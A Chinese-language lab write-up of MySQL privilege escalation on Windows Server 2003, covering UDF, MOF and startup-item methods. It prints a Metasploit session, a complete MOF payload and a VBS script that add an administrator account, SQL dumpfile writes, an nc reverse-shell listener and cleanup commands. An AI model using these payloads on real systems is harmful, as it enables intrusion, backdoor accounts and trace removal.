0x00 Mysql提权基础
Mysql
提权主要是需要利用高权限的Mysql
用户进行操作,拿用户主要是下列几种方式
- 注入
- 上传
getshell
- 查看网站数据库配置信息拿到用户密码
- 弱口令
mysql
系统漏洞,比如CVE-2012-2122
身份认证漏洞
这里提权也指的是从网站用户权限提升到数据库软件用户权限,比如数据库软件是普通用户权限运行,提权后就只能到普通用户权限,如果是管理员身份运行,则提权后可以到administrator
或者system
权限。
接下来对常见提权方式做一次总结与学习
提权环境:windows server 2003、以administrator
身份运行的mysql
,以network service
身份运行的iis
,假设已经拿到了webshell
,但是权限只有network service
的情况。
0x01 UDF提权
具体原理之前已经分析过,详情可见MYSQL UDF提权,这里简单复现一下。
由于已经拿到webshell
,直接上传udf.php
提权脚本
填入对应信息即可
点击Dump UDF
,即可导出udf
文件。
接着创建函数后,就可以执行语句了。
显示提权成功,拿到system
权限
这里还可以使用反弹端口提权,创建新的函数,算是udf
提权的一种新的用法。
创建成功后,可以使用命令反弹cmd
,先在本机使用nc -vvp 12345
接着
执行命令后,可以看到cmd
成功反弹,并验证权限。
0x02 MOF提权
MOF
提权是一个有历史的漏洞,基本上在Windows Server 2003
的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/
目录下的mof
文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个MOF
里面有一部分是VBS
脚本,所以可以利用这个VBS
脚本来调用CMD
来执行系统命令,如果MySQL
有权限操作 mof
目录的话,就可以来执行任意命令了。
这里一样直接用现成的msf
中的exp
来打了,注意,如果是用msf
来打需要3306
开启外连。
msf6 > use exploit/windows/mysql/mysql_mof
msf6 exploit(windows/mysql/mysql_mof) > set rhosts 192.168.181.203
rhosts => 192.168.181.203
msf6 exploit(windows/mysql/mysql_mof) > set username root
username => root
msf6 exploit(windows/mysql/mysql_mof) > set password cisco
password => cisco
exploit
后成功上线,提权成功
如果没有3306
外连的情况,就等自己手动导入mof
文件了。文件内容如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test Q!w2e3r4 /add \")\nWSH.run(\"net.exe localgroup administrators test /add \")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
重点就在下面这段代码,可以自由更换命令
接着将这段代码传到网站中,利用mysql
将内容写入到目录中
select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/test.mof") into dumpfile "c:/windows/system32/wbem/mof/test.mof";
写好后,一会就创建好用户,并加入到了管理员组,提权成功。
手动需要注意清理痕迹的问题,因为会自动增加用户,需要先暂时关闭winmgmt
服务再删除相关mof
文件,最后再删除用户
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user test /delete
# 重新启动服务
net start winmgmt
0x02 启动项提权
当Windows
的启动项可以被MySQL
写入的时候可以使用MySQL
将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
这个在msf
也有对应的模块可以使用,但是对中文路径支持不是特别好,而且还需要等待用户上线才能反弹shell
,比较麻烦,所以这里就复现手工操作
这里的操作系统是中文的win2003
,目录为C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/
vbs
执行基础命令如下:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user test1 Q!w2e3r4 /add", 0
WshShell.Run "net localgroup administrators test1 /add", 0
这里尝试过了很多种方法,蚁剑写入失败、大马写入失败,navicat
外连也写入失败
判断结果还是中文路径的问题,但是在本身的cmd
当中,是可以成功写入的。
select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/vbs.txt") into dumpfile "C:\\Documents and Settings\\Administrator\\「开始」菜单/程序\\启动\\test.vbs";
重启后也是能看到新建用户
这个中文一时没想到好的解决方法,而且此漏洞也需要配合重启才能生效,暂时先这样,以后万一真碰到了再想办法解决。
0x03 总结
总体来说,还是感觉udf
提权靠谱好用,除了从web
权限提权到系统权限外,关于数据库本身也有一些提权漏洞,类似CVE-2016-6662
、CVE-2016-6663
、CVE-2016-6664
留待后续再复现。